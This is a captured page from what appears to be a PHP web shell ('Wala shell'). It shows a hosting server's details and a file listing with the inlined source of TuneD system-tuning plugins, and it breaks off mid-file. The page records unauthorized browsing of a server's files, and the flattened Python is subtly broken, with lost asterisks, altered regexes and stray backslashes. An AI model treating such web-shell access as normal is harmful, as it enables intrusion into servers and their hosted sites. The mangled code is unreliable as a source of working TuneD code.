Wala shell

Advanced PHP File Manager

Server IP: 127.0.0.1 | PHP Version: 8.3.30 | Domains Hosted: 54

Name	Size	Last Modified
📁 ..	-	2026-03-21 15:45
📄 __init__.py from .repository import * from . import instance	49 B	2025-08-24 21:48
📁 __pycache__	-	2026-03-21 15:45
📄 base.py import re import tuned.consts as consts import tuned.profiles.variables import tuned.logs import collections from tuned.utils.commands import commands import os from subprocess import Popen, PIPE log = tuned.logs.get() class Plugin(object): """ Base class for all plugins. Plugins change various system settings in order to get desired performance or power saving. Plugins use Monitor objects to get information from the running system. Intentionally a lot of logic is included in the plugin to increase plugin flexibility. """ def __init__(self, monitors_repository, storage_factory, hardware_inventory, device_matcher, device_matcher_udev, instance_factory, global_cfg, variables): """Plugin constructor.""" self._storage = storage_factory.create(self.__class__.__name__) self._monitors_repository = monitors_repository self._hardware_inventory = hardware_inventory self._device_matcher = device_matcher self._device_matcher_udev = device_matcher_udev self._instance_factory = instance_factory self._instances = collections.OrderedDict() self._init_commands() self._global_cfg = global_cfg self._variables = variables self._has_dynamic_options = False self._devices_inited = False self._options_used_by_dynamic = self._get_config_options_used_by_dynamic() self._cmd = commands() def cleanup(self): self.destroy_instances() def init_devices(self): if not self._devices_inited: self._init_devices() self._devices_inited = True @property def name(self): return self.__class__.__module__.split(".")[-1].split("_", 1)[1] # # Plugin configuration manipulation and helpers. # @classmethod def _get_config_options(self): """Default configuration options for the plugin.""" return {} @classmethod def get_config_options_hints(cls): """Explanation of each config option function""" return {} @classmethod def _get_config_options_used_by_dynamic(self): """List of config options used by dynamic tuning. Their previous values will be automatically saved and restored.""" return [] def _get_effective_options(self, options): """Merge provided options with plugin default options.""" # TODO: _has_dynamic_options is a hack effective = self._get_config_options().copy() for key in options: if key in effective or self._has_dynamic_options: effective[key] = options[key] else: log.warning("Unknown option '%s' for plugin '%s'." % (key, self.__class__.__name__)) return effective def _option_bool(self, value): if type(value) is bool: return value value = str(value).lower() return value == "true" or value == "1" # # Interface for manipulation with instances of the plugin. # def create_instance(self, name, priority, devices_expression, devices_udev_regex, script_pre, script_post, options): """Create new instance of the plugin and seize the devices.""" if name in self._instances: raise Exception("Plugin instance with name '%s' already exists." % name) effective_options = self._get_effective_options(options) instance = self._instance_factory.create(self, name, priority, devices_expression, devices_udev_regex, \ script_pre, script_post, effective_options) self._instances[name] = instance self._instances = collections.OrderedDict(sorted(self._instances.items(), key=lambda x: x[1].priority)) return instance def destroy_instance(self, instance): """Destroy existing instance.""" if instance._plugin != self: raise Exception("Plugin instance '%s' does not belong to this plugin '%s'." % (instance, self)) if instance.name not in self._instances: raise Exception("Plugin instance '%s' was already destroyed." % instance) instance = self._instances[instance.name] self._destroy_instance(instance) del self._instances[instance.name] def initialize_instance(self, instance): """Initialize an instance.""" log.debug("initializing instance %s (%s)" % (instance.name, self.name)) self._instance_init(instance) def destroy_instances(self): """Destroy all instances.""" for instance in list(self._instances.values()): log.debug("destroying instance %s (%s)" % (instance.name, self.name)) self._destroy_instance(instance) self._instances.clear() def _destroy_instance(self, instance): self.release_devices(instance) self._instance_cleanup(instance) def _instance_init(self, instance): raise NotImplementedError() def _instance_cleanup(self, instance): raise NotImplementedError() # # Devices handling # def _init_devices(self): self._devices_supported = False self._assigned_devices = set() self._free_devices = set() def _get_device_objects(self, devices): """Override this in a subclass to transform a list of device names (e.g. ['sda']) to a list of pyudev.Device objects, if your plugin supports it""" return None def _get_matching_devices(self, instance, devices): if instance.devices_udev_regex is None: return set(self._device_matcher.match_list(instance.devices_expression, devices)) else: udev_devices = self._get_device_objects(devices) if udev_devices is None: log.error("Plugin '%s' does not support the 'devices_udev_regex' option", self.name) return set() udev_devices = self._device_matcher_udev.match_list(instance.devices_udev_regex, udev_devices) return set([x.sys_name for x in udev_devices]) def assign_free_devices(self, instance): if not self._devices_supported: return log.debug("assigning devices to instance %s" % instance.name) to_assign = self._get_matching_devices(instance, self._free_devices) instance.active = len(to_assign) > 0 if not instance.active: log.warning("instance %s: no matching devices available" % instance.name) else: name = instance.name if instance.name != self.name: name += " (%s)" % self.name log.info("instance %s: assigning devices %s" % (name, ", ".join(to_assign))) instance.assigned_devices.update(to_assign) # cannot use \|= self._assigned_devices \|= to_assign self._free_devices -= to_assign def release_devices(self, instance): if not self._devices_supported: return to_release = (instance.processed_devices \ \| instance.assigned_devices) \ & self._assigned_devices instance.active = False instance.processed_devices.clear() instance.assigned_devices.clear() self._assigned_devices -= to_release self._free_devices \|= to_release # # Tuning activation and deactivation. # def _run_for_each_device(self, instance, callback, devices): if not self._devices_supported: devices = [None, ] for device in devices: callback(instance, device) def _instance_pre_static(self, instance, enabling): pass def _instance_post_static(self, instance, enabling): pass def _safe_script_path(self, path): path = os.path.realpath(path) profile_paths = self._global_cfg.get_list(consts.CFG_PROFILE_DIRS, consts.CFG_DEF_PROFILE_DIRS) for p in profile_paths: if path.startswith(p): return True return False def _call_device_script(self, instance, script, op, devices, rollback = consts.ROLLBACK_SOFT): if script is None: return None if len(devices) == 0: log.warning("Instance '%s': no device to call script '%s' for." % (instance.name, script)) return None if not script.startswith("/"): log.error("Relative paths cannot be used in script_pre or script_post. " \ + "Use ${i:PROFILE_DIR}.") return False if not self._safe_script_path(script): log.error("Paths outside of the profile directories cannot be used in the " \ + "script_pre or script_post, ignoring script: '%s'" % script) return False dir_name = os.path.dirname(script) ret = True for dev in devices: environ = os.environ environ.update(self._variables.get_env()) arguments = [op] if rollback == consts.ROLLBACK_FULL: arguments.append("full_rollback") arguments.append(dev) log.info("calling script '%s' with arguments '%s'" % (script, str(arguments))) log.debug("using environment '%s'" % str(list(environ.items()))) try: proc = Popen([script] + arguments, \ stdout=PIPE, stderr=PIPE, \ close_fds=True, env=environ, \ cwd = dir_name, universal_newlines = True) out, err = proc.communicate() if proc.returncode: log.error("script '%s' error: %d, '%s'" % (script, proc.returncode, err[:-1])) ret = False except (OSError,IOError) as e: log.error("script '%s' error: %s" % (script, e)) ret = False return ret def instance_apply_tuning(self, instance): """ Apply static and dynamic tuning if the plugin instance is active. """ if not instance.active: return if instance.has_static_tuning: self._call_device_script(instance, instance.script_pre, "apply", instance.assigned_devices) self._instance_pre_static(instance, True) self._instance_apply_static(instance) self._instance_post_static(instance, True) self._call_device_script(instance, instance.script_post, "apply", instance.assigned_devices) if instance.has_dynamic_tuning and self._global_cfg.get(consts.CFG_DYNAMIC_TUNING, consts.CFG_DEF_DYNAMIC_TUNING): self._instance_init_dynamic(instance) self._run_for_each_device(instance, self._instance_apply_dynamic, instance.assigned_devices) instance.processed_devices.update(instance.assigned_devices) instance.assigned_devices.clear() def instance_verify_tuning(self, instance, ignore_missing): """ Verify static tuning if the plugin instance is active. """ if not instance.active: return None if len(instance.assigned_devices) != 0: log.error("BUG: Some devices have not been tuned: %s" % ", ".join(instance.assigned_devices)) devices = instance.processed_devices.copy() if instance.has_static_tuning: if self._call_device_script(instance, instance.script_pre, "verify", devices) == False: return False if self._instance_verify_static(instance, ignore_missing, devices) == False: return False if self._call_device_script(instance, instance.script_post, "verify", devices) == False: return False return True else: return None def instance_update_tuning(self, instance): """ Apply dynamic tuning if the plugin instance is active. """ if not instance.active: return if instance.has_dynamic_tuning and self._global_cfg.get(consts.CFG_DYNAMIC_TUNING, consts.CFG_DEF_DYNAMIC_TUNING): self._run_for_each_device(instance, self._instance_update_dynamic, instance.processed_devices.copy()) def instance_unapply_tuning(self, instance, rollback = consts.ROLLBACK_SOFT): """ Remove all tunings applied by the plugin instance. """ if rollback == consts.ROLLBACK_NONE: return if instance.has_dynamic_tuning and self._global_cfg.get(consts.CFG_DYNAMIC_TUNING, consts.CFG_DEF_DYNAMIC_TUNING): self._run_for_each_device(instance, self._instance_unapply_dynamic, instance.processed_devices) if instance.has_static_tuning: self._call_device_script(instance, instance.script_post, "unapply", instance.processed_devices, rollback = rollback) self._instance_pre_static(instance, False) self._instance_unapply_static(instance, rollback) self._instance_post_static(instance, False) self._call_device_script(instance, instance.script_pre, "unapply", instance.processed_devices, rollback = rollback) def _instance_apply_static(self, instance): self._execute_all_non_device_commands(instance) self._execute_all_device_commands(instance, instance.assigned_devices) def _instance_verify_static(self, instance, ignore_missing, devices): ret = True if self._verify_all_non_device_commands(instance, ignore_missing) == False: ret = False if self._verify_all_device_commands(instance, devices, ignore_missing) == False: ret = False return ret def _instance_unapply_static(self, instance, rollback = consts.ROLLBACK_SOFT): self._cleanup_all_device_commands(instance, instance.processed_devices) self._cleanup_all_non_device_commands(instance) def _instance_init_dynamic(self, instance): pass def _instance_apply_dynamic(self, instance, device): for option in [opt for opt in self._options_used_by_dynamic if self._storage_get(instance, self._commands[opt], device) is None]: self._check_and_save_value(instance, self._commands[option], device) self._instance_update_dynamic(instance, device) def _instance_unapply_dynamic(self, instance, device): raise NotImplementedError() def _instance_update_dynamic(self, instance, device): raise NotImplementedError() # # Registration of commands for static plugins. # def _init_commands(self): """ Initialize commands. """ self._commands = collections.OrderedDict() self._autoregister_commands() self._check_commands() def _autoregister_commands(self): """ Register all commands marked using @command_set, @command_get, and @command_custom decorators. """ for member_name in self.__class__.__dict__: if member_name.startswith("__"): continue member = getattr(self, member_name) if not hasattr(member, "_command"): continue command_name = member._command["name"] info = self._commands.get(command_name, {"name": command_name}) if "set" in member._command: info["custom"] = None info["set"] = member info["per_device"] = member._command["per_device"] info["priority"] = member._command["priority"] elif "get" in member._command: info["get"] = member elif "custom" in member._command: info["custom"] = member info["per_device"] = member._command["per_device"] info["priority"] = member._command["priority"] self._commands[command_name] = info # sort commands by priority self._commands = collections.OrderedDict(sorted(iter(self._commands.items()), key=lambda name_info: name_info[1]["priority"])) def _check_commands(self): """ Check if all commands are defined correctly. """ for command_name, command in list(self._commands.items()): # do not check custom commands if command.get("custom", False): continue # automatic commands should have 'get' and 'set' functions if "get" not in command or "set" not in command: raise TypeError("Plugin command '%s' is not defined correctly" % command_name) # # Operations with persistent storage for status data. # def _storage_key(self, instance_name = None, command_name = None, device_name = None): class_name = type(self).__name__ instance_name = "" if instance_name is None else instance_name command_name = "" if command_name is None else command_name device_name = "" if device_name is None else device_name return "%s/%s/%s/%s" % (class_name, instance_name, command_name, device_name) def _storage_set(self, instance, command, value, device_name=None): key = self._storage_key(instance.name, command["name"], device_name) self._storage.set(key, value) def _storage_get(self, instance, command, device_name=None): key = self._storage_key(instance.name, command["name"], device_name) return self._storage.get(key) def _storage_unset(self, instance, command, device_name=None): key = self._storage_key(instance.name, command["name"], device_name) return self._storage.unset(key) # # Command execution, verification, and cleanup. # def _execute_all_non_device_commands(self, instance): for command in [command for command in list(self._commands.values()) if not command["per_device"]]: new_value = self._variables.expand(instance.options.get(command["name"], None)) if new_value is not None: self._execute_non_device_command(instance, command, new_value) def _execute_all_device_commands(self, instance, devices): for command in [command for command in list(self._commands.values()) if command["per_device"]]: new_value = self._variables.expand(instance.options.get(command["name"], None)) if new_value is None: continue for device in devices: self._execute_device_command(instance, command, device, new_value) def _verify_all_non_device_commands(self, instance, ignore_missing): ret = True for command in [command for command in list(self._commands.values()) if not command["per_device"]]: new_value = self._variables.expand(instance.options.get(command["name"], None)) if new_value is not None: if self._verify_non_device_command(instance, command, new_value, ignore_missing) == False: ret = False return ret def _verify_all_device_commands(self, instance, devices, ignore_missing): ret = True for command in [command for command in list(self._commands.values()) if command["per_device"]]: new_value = self._variables.expand(instance.options.get(command["name"], None)) if new_value is None: continue for device in devices: if self._verify_device_command(instance, command, device, new_value, ignore_missing) == False: ret = False return ret def _process_assignment_modifiers(self, new_value, current_value): if new_value is not None: nws = str(new_value) if len(nws) <= 1: return new_value op = nws[:1] val = nws[1:] if current_value is None: return val if op in ["<", ">"] else new_value try: if op == ">": if int(val) > int(current_value): return val else: return None elif op == "<": if int(val) < int(current_value): return val else: return None except ValueError: log.warning("cannot compare new value '%s' with current value '%s' by operator '%s', using '%s' directly as new value" % (val, current_value, op, new_value)) return new_value def _get_current_value(self, instance, command, device = None, ignore_missing=False): if device is not None: return command["get"](device, instance, ignore_missing=ignore_missing) else: return command["get"](instance) def _check_and_save_value(self, instance, command, device = None, new_value = None): current_value = self._get_current_value(instance, command, device) new_value = self._process_assignment_modifiers(new_value, current_value) if new_value is not None and current_value is not None: self._storage_set(instance, command, current_value, device) return new_value def _execute_device_command(self, instance, command, device, new_value): if command["custom"] is not None: command["custom"](True, new_value, device, False, False, instance) else: new_value = self._check_and_save_value(instance, command, device, new_value) if new_value is not None: command["set"](new_value, device, instance, sim = False, remove = False) def _execute_non_device_command(self, instance, command, new_value): if command["custom"] is not None: command["custom"](True, new_value, False, False, instance) else: new_value = self._check_and_save_value(instance, command, None, new_value) if new_value is not None: command["set"](new_value, instance, sim = False, remove = False) def _norm_value(self, value): v = self._cmd.unquote(str(value)) if re.match(r'\s(0+,?)+([\da-fA-F],?)\s$', v): return re.sub(r'^\s*(0+,?)+', "", v) return v def _verify_value(self, name, new_value, current_value, ignore_missing, device = None): if new_value is None: return None ret = False if current_value is None and ignore_missing: if device is None: log.info(consts.STR_VERIFY_PROFILE_VALUE_MISSING % name) else: log.info(consts.STR_VERIFY_PROFILE_DEVICE_VALUE_MISSING % (device, name)) return True if current_value is not None: current_value = self._norm_value(current_value) new_value = self._norm_value(new_value) try: ret = int(new_value) == int(current_value) except ValueError: try: ret = int(new_value, 16) == int(current_value, 16) except ValueError: ret = str(new_value) == str(current_value) if not ret: vals = str(new_value).split('\|') for val in vals: val = val.strip() ret = val == current_value if ret: break self._log_verification_result(name, ret, new_value, current_value, device = device) return ret def _log_verification_result(self, name, success, new_value, current_value, device = None): if success: if device is None: log.info(consts.STR_VERIFY_PROFILE_VALUE_OK % (name, str(current_value).strip())) else: log.info(consts.STR_VERIFY_PROFILE_DEVICE_VALUE_OK % (device, name, str(current_value).strip())) return True else: if device is None: log.error(consts.STR_VERIFY_PROFILE_VALUE_FAIL % (name, str(current_value).strip(), str(new_value).strip())) else: log.error(consts.STR_VERIFY_PROFILE_DEVICE_VALUE_FAIL % (device, name, str(current_value).strip(), str(new_value).strip())) return False def _verify_device_command(self, instance, command, device, new_value, ignore_missing): if command["custom"] is not None: return command["custom"](True, new_value, device, True, ignore_missing, instance) current_value = self._get_current_value(instance, command, device, ignore_missing=ignore_missing) new_value = self._process_assignment_modifiers(new_value, current_value) if new_value is None: return None new_value = command["set"](new_value, device, instance, True, False) return self._verify_value(command["name"], new_value, current_value, ignore_missing, device) def _verify_non_device_command(self, instance, command, new_value, ignore_missing): if command["custom"] is not None: return command["custom"](True, new_value, True, ignore_missing, instance) current_value = self._get_current_value(instance, command) new_value = self._process_assignment_modifiers(new_value, current_value) if new_value is None: return None new_value = command["set"](new_value, instance, True, False) return self._verify_value(command["name"], new_value, current_value, ignore_missing) def _cleanup_all_non_device_commands(self, instance): for command in reversed([command for command in list(self._commands.values()) if not command["per_device"]]): if (instance.options.get(command["name"], None) is not None) or (command["name"] in self._options_used_by_dynamic): self._cleanup_non_device_command(instance, command) def _cleanup_all_device_commands(self, instance, devices, remove = False): for command in reversed([command for command in list(self._commands.values()) if command["per_device"]]): if (instance.options.get(command["name"], None) is not None) or (command["name"] in self._options_used_by_dynamic): for device in devices: self._cleanup_device_command(instance, command, device, remove) def _cleanup_device_command(self, instance, command, device, remove = False): if command["custom"] is not None: command["custom"](False, None, device, False, False, instance) else: old_value = self._storage_get(instance, command, device) if old_value is not None: command["set"](old_value, device, instance, sim = False, remove = remove) self._storage_unset(instance, command, device) def _cleanup_non_device_command(self, instance, command): if command["custom"] is not None: command["custom"](False, None, False, False, instance) else: old_value = self._storage_get(instance, command) if old_value is not None: command["set"](old_value, instance, sim = False, remove = False) self._storage_unset(instance, command)	22.76 KB	2025-08-24 21:48
📄 decorators.py __all__ = ["command_set", "command_get", "command_custom"] # @command_set("scheduler", per_device=True) # def set_scheduler(self, value, device): # set_new_scheduler # # @command_get("scheduler") # def get_scheduler(self, device): # return current_scheduler # # @command_set("foo") # def set_foo(self, value): # set_new_foo # # @command_get("foo") # def get_foo(self): # return current_foo # def command_set(name, per_device=False, priority=0): def wrapper(method): method._command = { "set": True, "name": name, "per_device": per_device, "priority": priority, } return method return wrapper def command_get(name): def wrapper(method): method._command = { "get": True, "name": name, } return method return wrapper def command_custom(name, per_device=False, priority=0): def wrapper(method): method._command = { "custom": True, "name": name, "per_device": per_device, "priority": priority, } return method return wrapper	983 B	2025-08-24 21:48
📄 exceptions.py import tuned.exceptions class NotSupportedPluginException(tuned.exceptions.TunedException): pass	99 B	2025-08-24 21:48
📄 hotplug.py from . import base import tuned.consts as consts import tuned.logs log = tuned.logs.get() class Plugin(base.Plugin): """ Base class for plugins with device hotpluging support. """ def __init__(self, args, kwargs): super(Plugin, self).__init__(args, **kwargs) def cleanup(self): self._hardware_events_cleanup() super(Plugin, self).cleanup() def _hardware_events_init(self): pass def _hardware_events_cleanup(self): pass def _init_devices(self): self._hardware_events_init() def _hardware_events_callback(self, event, device): if event == "add": log.info("device '%s', add event" % device.sys_name) self._add_device(device.sys_name) elif event == "remove": log.info("device '%s', remove event" % device.sys_name) self._remove_device(device.sys_name) elif event == "move": log.info("device: '%s', rename event, reported new name" % device.sys_name) self._move_device(device.sys_name) def _add_device_process(self, instance, device_name): log.info("instance %s: adding new device %s" % (instance.name, device_name)) self._assigned_devices.add(device_name) self._call_device_script(instance, instance.script_pre, "apply", [device_name]) self._added_device_apply_tuning(instance, device_name) self._call_device_script(instance, instance.script_post, "apply", [device_name]) instance.processed_devices.add(device_name) def _add_device(self, device_name): if device_name in (self._assigned_devices \| self._free_devices): log.debug("device: '%s' already exists, ignoring" % device_name) return for instance_name, instance in list(self._instances.items()): if len(self._get_matching_devices(instance, [device_name])) == 1: self._add_device_process(instance, device_name) break else: log.debug("no instance wants %s" % device_name) self._free_devices.add(device_name) def _add_devices_nocheck(self, instance, device_names): """ Add devices specified by the set to the instance, no check is performed. """ for dev in device_names: self._add_device_process(instance, dev) # This can be a bit racy (we can overcount), # but it shouldn't affect the boolean result instance.active = len(instance.processed_devices) \ + len(instance.assigned_devices) > 0 def _remove_device_process(self, instance, device_name): if device_name in instance.processed_devices: self._call_device_script(instance, instance.script_post, "unapply", [device_name]) self._removed_device_unapply_tuning(instance, device_name) self._call_device_script(instance, instance.script_pre, "unapply", [device_name]) instance.processed_devices.remove(device_name) # This can be a bit racy (we can overcount), # but it shouldn't affect the boolean result instance.active = len(instance.processed_devices) \ + len(instance.assigned_devices) > 0 self._assigned_devices.remove(device_name) return True return False def _move_device(self, device_name): """Rename device in the instance, this probably applies only to network interfaces. The udev device environment is mostly unchanged (except the name) and the old device name isn't announced, thus the rename functionality is plugin dependant and has to be implemented in the child plugin class. Parameters: device_name -- new name of the device """ pass def _remove_device(self, device_name): """Remove device from the instance Parameters: device_name -- name of the device """ if device_name not in (self._assigned_devices \| self._free_devices): log.debug("device: '%s' doesn't exist, ignoring" % device_name) return for instance in list(self._instances.values()): if self._remove_device_process(instance, device_name): break else: try: self._free_devices.remove(device_name) except KeyError: log.debug("device: '%s' isn't initialized, not removing it" % device_name) def _remove_devices_nocheck(self, instance, device_names): """ Remove devices specified by the set from the instance, no check is performed. """ for dev in device_names: self._remove_device_process(instance, dev) def _added_device_apply_tuning(self, instance, device_name): self._execute_all_device_commands(instance, [device_name]) if instance.has_dynamic_tuning and self._global_cfg.get(consts.CFG_DYNAMIC_TUNING, consts.CFG_DEF_DYNAMIC_TUNING): self._instance_apply_dynamic(instance, device_name) def _removed_device_unapply_tuning(self, instance, device_name): if instance.has_dynamic_tuning and self._global_cfg.get(consts.CFG_DYNAMIC_TUNING, consts.CFG_DEF_DYNAMIC_TUNING): self._instance_unapply_dynamic(instance, device_name) self._cleanup_all_device_commands(instance, [device_name], remove = True)	4.62 KB	2025-08-24 21:48
📁 instance	-	2026-03-21 15:45
📄 plugin_acpi.py from . import base from .decorators import * import os import errno import tuned.logs from tuned.consts import ACPI_DIR log = tuned.logs.get() class ACPIPlugin(base.Plugin): """ Configures the ACPI driver. The only currently supported option is [option]`platform_profile`, which sets the ACPI platform profile sysfs attribute, a generic power/performance preference API for other drivers. Multiple profiles can be specified, separated by `\|`. The first available profile is selected. .Selecting a platform profile ==== ---- [acpi] platform_profile=balanced\|low-power ---- Using this option, TuneD will try to set the platform profile to `balanced`. If that fails, it will try to set it to `low-power`. ==== """ def __init__(self, args, kwargs): super(ACPIPlugin, self).__init__(args, **kwargs) @classmethod def _get_config_options(cls): return {"platform_profile": None} def _instance_init(self, instance): instance._has_static_tuning = True instance._has_dynamic_tuning = False def _instance_cleanup(self, instance): pass @classmethod def _platform_profile_choices_path(cls): return os.path.join(ACPI_DIR, "platform_profile_choices") @classmethod def _platform_profile_path(cls): return os.path.join(ACPI_DIR, "platform_profile") @command_set("platform_profile") def _set_platform_profile(self, profiles, instance, sim, remove): if not os.path.isfile(self._platform_profile_path()): log.debug("ACPI platform_profile is not supported on this system") return None profiles = [profile.strip() for profile in profiles.split('\|')] avail_profiles = set(self._cmd.read_file(self._platform_profile_choices_path()).split()) for profile in profiles: if profile in avail_profiles: if not sim: log.info("Setting platform_profile to '%s'" % profile) self._cmd.write_to_file(self._platform_profile_path(), profile, \ no_error=[errno.ENOENT] if remove else False) return profile log.warning("Requested platform_profile '%s' unavailable" % profile) log.error("Failed to set platform_profile. Is the value in the profile correct?") return None @command_get("platform_profile") def _get_platform_profile(self, instance, ignore_missing=False): if not os.path.isfile(self._platform_profile_path()): log.debug("ACPI platform_profile is not supported on this system") return None return self._cmd.read_file(self._platform_profile_path()).strip()	2.39 KB	2025-08-24 21:48
📄 plugin_audio.py from . import hotplug from .decorators import * import tuned.logs from tuned.utils.commands import commands import os import errno import struct import glob log = tuned.logs.get() cmd = commands() class AudioPlugin(hotplug.Plugin): """ Sets audio cards power saving options. The plug-in sets the auto suspend timeout for audio codecs to the value specified by the [option]`timeout` option. Currently, the `snd_hda_intel` and `snd_ac97_codec` codecs are supported and the [option]`timeout` value is in seconds. To disable auto suspend for these codecs, set the [option]`timeout` value to `0`. To enforce the controller reset, set the option [option]`reset_controller` to `true`. Note that power management is supported per module. Hence, the kernel module names are used as device names. .Set the timeout value to 10s and enforce the controller reset ==== ---- [audio] timeout=10 reset_controller=true ---- ==== """ def _init_devices(self): self._devices_supported = True self._assigned_devices = set() self._free_devices = set() for device in self._hardware_inventory.get_devices("sound").match_sys_name("card*"): module_name = self._device_module_name(device) if module_name in ["snd_hda_intel", "snd_ac97_codec"]: self._free_devices.add(module_name) def _instance_init(self, instance): instance._has_static_tuning = True instance._has_dynamic_tuning = False def _instance_cleanup(self, instance): pass def _device_module_name(self, device): try: return device.parent.driver except: return None @classmethod def _get_config_options(cls): return { "timeout": 0, "reset_controller": True, } def _timeout_path(self, device): return "/sys/module/%s/parameters/power_save" % device def _reset_controller_path(self, device): return "/sys/module/%s/parameters/power_save_controller" % device @command_set("timeout", per_device = True) def _set_timeout(self, value, device, instance, sim, remove): try: timeout = int(value) except ValueError: log.error("timeout value '%s' is not integer" % value) return None if timeout >= 0: sys_file = self._timeout_path(device) if not sim: cmd.write_to_file(sys_file, "%d" % timeout, \ no_error = [errno.ENOENT] if remove else False) return timeout else: return None @command_get("timeout") def _get_timeout(self, device, instance, ignore_missing=False): sys_file = self._timeout_path(device) value = cmd.read_file(sys_file, no_error=ignore_missing) if len(value) > 0: return value return None @command_set("reset_controller", per_device = True) def _set_reset_controller(self, value, device, instance, sim, remove): v = cmd.get_bool(value) sys_file = self._reset_controller_path(device) if os.path.exists(sys_file): if not sim: cmd.write_to_file(sys_file, v, \ no_error = [errno.ENOENT] if remove else False) return v return None @command_get("reset_controller") def _get_reset_controller(self, device, instance, ignore_missing=False): sys_file = self._reset_controller_path(device) if os.path.exists(sys_file): value = cmd.read_file(sys_file) if len(value) > 0: return cmd.get_bool(value) return None	3.16 KB	2025-08-24 21:48
📄 plugin_bootloader.py from . import base from .decorators import * import tuned.logs from . import exceptions from tuned.utils.commands import commands import tuned.consts as consts import os import re import tempfile from time import sleep log = tuned.logs.get() class BootloaderPlugin(base.Plugin): """ Adds options to the kernel command line. This plug-in supports the GRUB 2 boot loader and the Boot Loader Specification (BLS). NOTE: TuneD will not remove or replace kernel command line parameters added via other methods like grubby. TuneD will manage the kernel command line parameters added via TuneD. Please refer to your platform bootloader documentation about how to identify and manage kernel command line parameters set outside of TuneD. Customized non-standard location of the GRUB 2 configuration file can be specified by the [option]`grub2_cfg_file` option. The kernel options are added to the current GRUB configuration and its templates. Reboot the system for the kernel option to take effect. Switching to another profile or manually stopping the `tuned` service removes the additional options. If you shut down or reboot the system, the kernel options persist in the [filename]`grub.cfg` file and grub environment files. The kernel options can be specified by the following syntax: [subs="quotes"] ---- cmdline__suffix__=__arg1__ __arg2__ ... __argN__ ---- Or with an alternative, but equivalent syntax: [subs="quotes"] ---- cmdline__suffix__=+__arg1__ __arg2__ ... __argN__ ---- Where __suffix__ can be arbitrary (even empty) alphanumeric string which should be unique across all loaded profiles. It is recommended to use the profile name as the __suffix__ (for example, [option]`cmdline_my_profile`). If there are multiple [option]`cmdline` options with the same suffix, during the profile load/merge the value which was assigned previously will be used. This is the same behavior as any other plug-in options. The final kernel command line is constructed by concatenating all the resulting [option]`cmdline` options. It is also possible to remove kernel options by the following syntax: [subs="quotes"] ---- cmdline__suffix__=-__arg1__ __arg2__ ... __argN__ ---- Such kernel options will not be concatenated and thus removed during the final kernel command line construction. .Modifying the kernel command line ==== For example, to add the [option]`quiet` kernel option to a TuneD profile, include the following lines in the [filename]`tuned.conf` file: ---- [bootloader] cmdline_my_profile=+quiet ---- An example of a custom profile `my_profile` that adds the [option]`isolcpus=2` option to the kernel command line: ---- [bootloader] cmdline_my_profile=isolcpus=2 ---- An example of a custom profile `my_profile` that removes the [option]`rhgb quiet` options from the kernel command line (if previously added by TuneD): ---- [bootloader] cmdline_my_profile=-rhgb quiet ---- ==== .Modifying the kernel command line, example with inheritance ==== For example, to add the [option]`rhgb quiet` kernel options to a TuneD profile `profile_1`: ---- [bootloader] cmdline_profile_1=+rhgb quiet ---- In the child profile `profile_2` drop the [option]`quiet` option from the kernel command line: ---- [main] include=profile_1 [bootloader] cmdline_profile_2=-quiet ---- The final kernel command line will be [option]`rhgb`. In case the same [option]`cmdline` suffix as in the `profile_1` is used: ---- [main] include=profile_1 [bootloader] cmdline_profile_1=-quiet ---- It will result in the empty kernel command line because the merge executes and the [option]`cmdline_profile_1` gets redefined to just [option]`-quiet`. Thus there is nothing to remove in the final kernel command line processing. ==== The [option]`initrd_add_img=IMAGE` adds an initrd overlay file `IMAGE`. If the `IMAGE` file name begins with '/', the absolute path is used. Otherwise, the current profile directory is used as the base directory for the `IMAGE`. The [option]`initrd_add_dir=DIR` creates an initrd image from the directory `DIR` and adds the resulting image as an overlay. If the `DIR` directory name begins with '/', the absolute path is used. Otherwise, the current profile directory is used as the base directory for the `DIR`. The [option]`initrd_dst_img=PATHNAME` sets the name and location of the resulting initrd image. Typically, it is not necessary to use this option. By default, the location of initrd images is `/boot` and the name of the image is taken as the basename of `IMAGE` or `DIR`. This can be overridden by setting [option]`initrd_dst_img`. The [option]`initrd_remove_dir=VALUE` removes the source directory from which the initrd image was built if `VALUE` is true. Only 'y', 'yes', 't', 'true' and '1' (case insensitive) are accepted as true values for this option. Other values are interpreted as false. .Adding an overlay initrd image ==== ---- [bootloader] initrd_remove_dir=True initrd_add_dir=/tmp/tuned-initrd.img ---- This creates an initrd image from the `/tmp/tuned-initrd.img` directory and and then removes the `tuned-initrd.img` directory from `/tmp`. ==== The [option]`skip_grub_config=VALUE` does not change grub configuration if `VALUE` is true. However, [option]`cmdline` options are still processed, and the result is used to verify the current cmdline. Only 'y', 'yes', 't', 'true' and '1' (case insensitive) are accepted as true values for this option. Other values are interpreted as false. .Do not change grub configuration ==== ---- [bootloader] skip_grub_config=True cmdline=+systemd.cpu_affinity=1 ---- ==== """ def __init__(self, args, kwargs): if not os.path.isfile(consts.GRUB2_TUNED_TEMPLATE_PATH): raise exceptions.NotSupportedPluginException("Required GRUB2 template not found, disabling plugin.") super(BootloaderPlugin, self).__init__(args, *kwargs) self._cmd = commands() def _instance_init(self, instance): instance._has_dynamic_tuning = False instance._has_static_tuning = True # controls grub2_cfg rewrites in _instance_post_static self.update_grub2_cfg = False self._skip_grub_config_val = False self._initrd_remove_dir = False self._initrd_dst_img_val = None self._cmdline_val = "" self._initrd_val = "" self._grub2_cfg_file_names = self._get_grub2_cfg_files() self._bls = self._bls_enabled() self._rpm_ostree = self._rpm_ostree_status() is not None def _instance_cleanup(self, instance): pass @classmethod def _get_config_options(cls): return { "grub2_cfg_file": None, "initrd_dst_img": None, "initrd_add_img": None, "initrd_add_dir": None, "initrd_remove_dir": None, "cmdline": None, "skip_grub_config": None, } def _rpm_ostree_status(self): """ Returns status of rpm-ostree transactions or None if not run on rpm-ostree system """ (rc, out, err) = self._cmd.execute(['rpm-ostree', 'status'], return_err=True) log.debug("rpm-ostree status output stdout:\n%s\nstderr:\n%s" % (out, err)) if rc != 0: return None splited = out.split() if len(splited) < 2 or splited[0] != "State:": log.warning("Exceptional format of rpm-ostree status result:\n%s" % out) return None return splited[1] def _wait_till_rpm_ostree_idle(self): """Check that rpm-ostree is idle, allowing some waiting time.""" sleep_cycles = 10 sleep_secs = 1.0 for _ in range(sleep_cycles): if self._rpm_ostree_status() == "idle": return True sleep(sleep_secs) return self._rpm_ostree_status() == "idle" def _get_rpm_ostree_kargs(self): """Retrieve the output of rpm-ostree kargs, i.e., current default kernel arguments.""" if not self._wait_till_rpm_ostree_idle(): log.error("Error getting rpm-ostree kargs: rpm-ostree is busy") return None (rc, out, err) = self._cmd.execute(["rpm-ostree", "kargs"], return_err=True) if out: 